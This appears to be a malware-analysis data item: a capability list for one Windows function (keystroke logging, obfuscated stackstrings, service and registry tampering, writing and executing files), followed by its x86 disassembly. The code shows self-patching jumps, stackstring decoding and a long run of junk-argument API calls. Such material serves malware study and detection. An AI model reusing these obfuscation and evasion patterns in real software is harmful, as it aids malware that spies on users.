Function at 0xaad000
Capabilities:
Accept command line arguments
Clear file content
Connect pipe
Contain obfuscated stackstrings
Create pipe
Create process on windows
Delete directory
Delete file
Delete registry key
Delete registry value
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file attributes
Get file size
Get file system object information
Get geographical location
Get graphical window text
Get memory capacity
Get system information on windows
Identify system language via api
Log keystrokes
Log keystrokes via polling
Query environment variable
Query or enumerate registry key
Query or enumerate registry value
Query service status
Read .ini file
Resume thread
Set environment variable
Set registry value
Start service
Stop service
Terminate process
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov dword [ebp - 0x10], 0xaade26
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaad039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x5c], 0xaad229
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1c], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jae 0xaad0bb
call fcn.0048a514
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jb 0xaad07d
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaad097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
cmp ecx, 2
jae 0xaad097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaad04d
mov byte [ebp - 0x58], 4
mov byte [ebp - 0x57], 0x78
mov byte [ebp - 0x56], 9
mov byte [ebp - 0x55], 0x6c
mov byte [ebp - 0x54], 0
mov byte [ebp - 0x53], 0x77
mov byte [ebp - 0x52], 1
mov byte [ebp - 0x51], 0x7c
mov byte [ebp - 0x50], 6
mov byte [ebp - 0x4f], 0x77
mov byte [ebp - 0x4e], 0x27
mov byte [ebp - 0x4d], 0xbb
mov byte [ebp - 0x4c], 0xd1
mov byte [ebp - 0x4b], 0
mov byte [ebp - 0x4a], 0x8c
mov byte [ebp - 0x49], 0x4f
mov byte [ebp - 0x48], 0xc5
mov byte [ebp - 0x47], 0x52
mov byte [ebp - 0x46], 0x4c
mov byte [ebp - 0x45], 0x26
mov byte [ebp - 0x44], 0x30
mov byte [ebp - 0x43], 0x7b
mov byte [ebp - 0x42], 0xd4
mov byte [ebp - 0x41], 0xce
mov byte [ebp - 0x40], 0xbd
mov byte [ebp - 0x3f], 0x8c
mov byte [ebp - 0x3e], 0xb9
mov byte [ebp - 0x3d], 0x14
mov byte [ebp - 0x3c], 0x4e
mov byte [ebp - 0x3b], 0xef
mov byte [ebp - 0x3a], 0x93
mov byte [ebp - 0x39], 0xbf
mov byte [ebp - 0x38], 0xe2
mov byte [ebp - 0x37], 0xb3
mov byte [ebp - 0x36], 3
mov byte [ebp - 0x35], 0x7e
mov byte [ebp - 0x34], 0xbc
mov byte [ebp - 0x33], 0x24
mov byte [ebp - 0x32], 0xf4
mov byte [ebp - 0x31], 0x1e
mov byte [ebp - 0x30], 0xc2
mov byte [ebp - 0x2f], 0x9f
mov byte [ebp - 0x2e], 0x20
mov byte [ebp - 0x2d], 0
mov byte [ebp - 0x2c], 0x23
mov byte [ebp - 0x2b], 0xa4
mov byte [ebp - 0x2a], 0xd6
mov byte [ebp - 0x29], 0xcb
mov byte [ebp - 0x28], 0x3c
mov byte [ebp - 0x27], 5
mov byte [ebp - 0x26], 0x74
mov byte [ebp - 0x25], 8
mov byte [ebp - 0x24], 0x7d
mov byte [ebp - 0x23], 3
mov byte [ebp - 0x22], 0x2f
mov byte [ebp - 0x21], 2
mov byte [ebp - 0x20], 0x7f
mov byte [ebp - 0x1f], 7
mov byte [ebp - 0x1e], 0x74
and dword [ebp - 8], 0
and dword [ebp - 0x60], 0
jmp 0xaad1b9
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x3b
jae 0xaad21e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x58]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaad1e5
mov dword [ebp - 0x60], 0x27
mov eax, dword [ebp - 8]
add eax, 0x25
mov dword [ebp - 8], eax
jmp 0xaad1b1
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x57]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x60]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jge 0xaad20d
mov eax, dword [ebp - 0x14]
add eax, 0x100
mov dword [ebp - 0x14], eax
jmp 0xaad1fa
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x58]
mov cl, byte [ebp - 0x14]
mov byte [ebp + eax - 0x6c], cl
jmp 0xaad1b1
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x6c], 0
push 0
push 0xaa1c4a
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x84]
call fcn.00407b7c
mov ecx, eax
call fcn.00402cee
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x84]
call fcn.00402c92
and dword [ebp - 0x18], 0
jmp 0xaad267
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xb
jae 0xaad277
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x6c], 0
jmp 0xaad260
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
push 0xc06
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
call dword [sym.imp.USER32.dll_CharNextW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0
push 0x1cdd
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
push 0
push 0
push 0
push 0x1124
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 0
push 0xe49
push 0xdd
push 0x1c46
push 0x1951
push 0x704
push 0xeef
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push 0x1741
push 0x1886
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
push 0x1895
push 0
push 0x22cf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push 0
push 0
push 0x19ac
push 0
push 0x735
push 0
push 0xbf8
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
push 1
push 0x73c
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0x99c
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push 0
push 0xd20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0xd11
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0x88
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x2511
push 0x17ff
push 0x217
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0x262
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x1c35
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 0x887
push 0x14ee
push 0x2dc
push 0x1158
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0x2078
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
push 0x1d92
push 0
push 0xda9
push 0x47d
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0x5fb
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 1
push 0xd24
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x255e
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 0x24a2
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 0
push 0
push 0x1910
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push 1
push 0xfc5
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0x697
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0
push 0x2556
push 0x1995
call dword [sym.imp.USER32.dll_AttachThreadInput]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0
push 0x2b8
push 0
push 0xc81
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
push 0x26e0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x1d30
push 0
push 0x2e1
push 0
push 0xf55
push 0x6de
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0x14e1
push 0
push 0x1f26
push 0xa07
push 0x252a
push 0
push 0x1138
push 0x7aa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
push 0
push 0x215c
push 0x117a
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x220
push 0
push 0x1671
push 0
call dword [sym.imp.USER32.dll_LoadStringA]
push 0xfc7
push 0x3ba
push 0
push 0x11e3
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0x1786
push 0x2655
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
push 1
push 0x131a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0
push 0x233f
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0xcf9
call dword [sym.imp.USER32.dll_BeginDeferWindowPos]
push 0
push 0x13a5
push 0xc8a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowExtEx]
push 0
push 0x1527
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
push 0x1953
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowInfo]
push 0x18d8
push 0
call dword [sym.imp.USER32.dll_CharLowerBuffW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0xfa4
push 0x24e8
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0x1a99
push 0x1cbb
push 0
push 0
push 0x8ba
push 0x39a
push 0x11ef
push 0x62d
push 0x21da
push 0x599
push 0x2dc
push 0x2181
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0x183e
push 0x1764
push 0x17fe
push 0x1e95
push 0xfe8
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegLoadKeyW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x14f8
push 0x17a7
push 0xef9
push 0x6f0
push 0x24ab
push 0xb15
push 0xdf
push 0x1d5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
push 0xa0a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0x1497
push 0x1f2c
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
push 0x2ea
push 0x6f8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableScrollBar]
push 0xeb4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0x4f5
push 0x37b
push 0x1e51
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push 0x1349
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0xb32
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 0x24c1
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0xe87
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x1f8f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0
push 0x1d08
push 0xae9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
push 0xab4
call dword [sym.imp.USER32.dll_GetKeyboardType]
push 0
push 0x1dd3
push 0x250b
push 0x1834
call dword [sym.imp.KERNEL32.dll_RaiseException]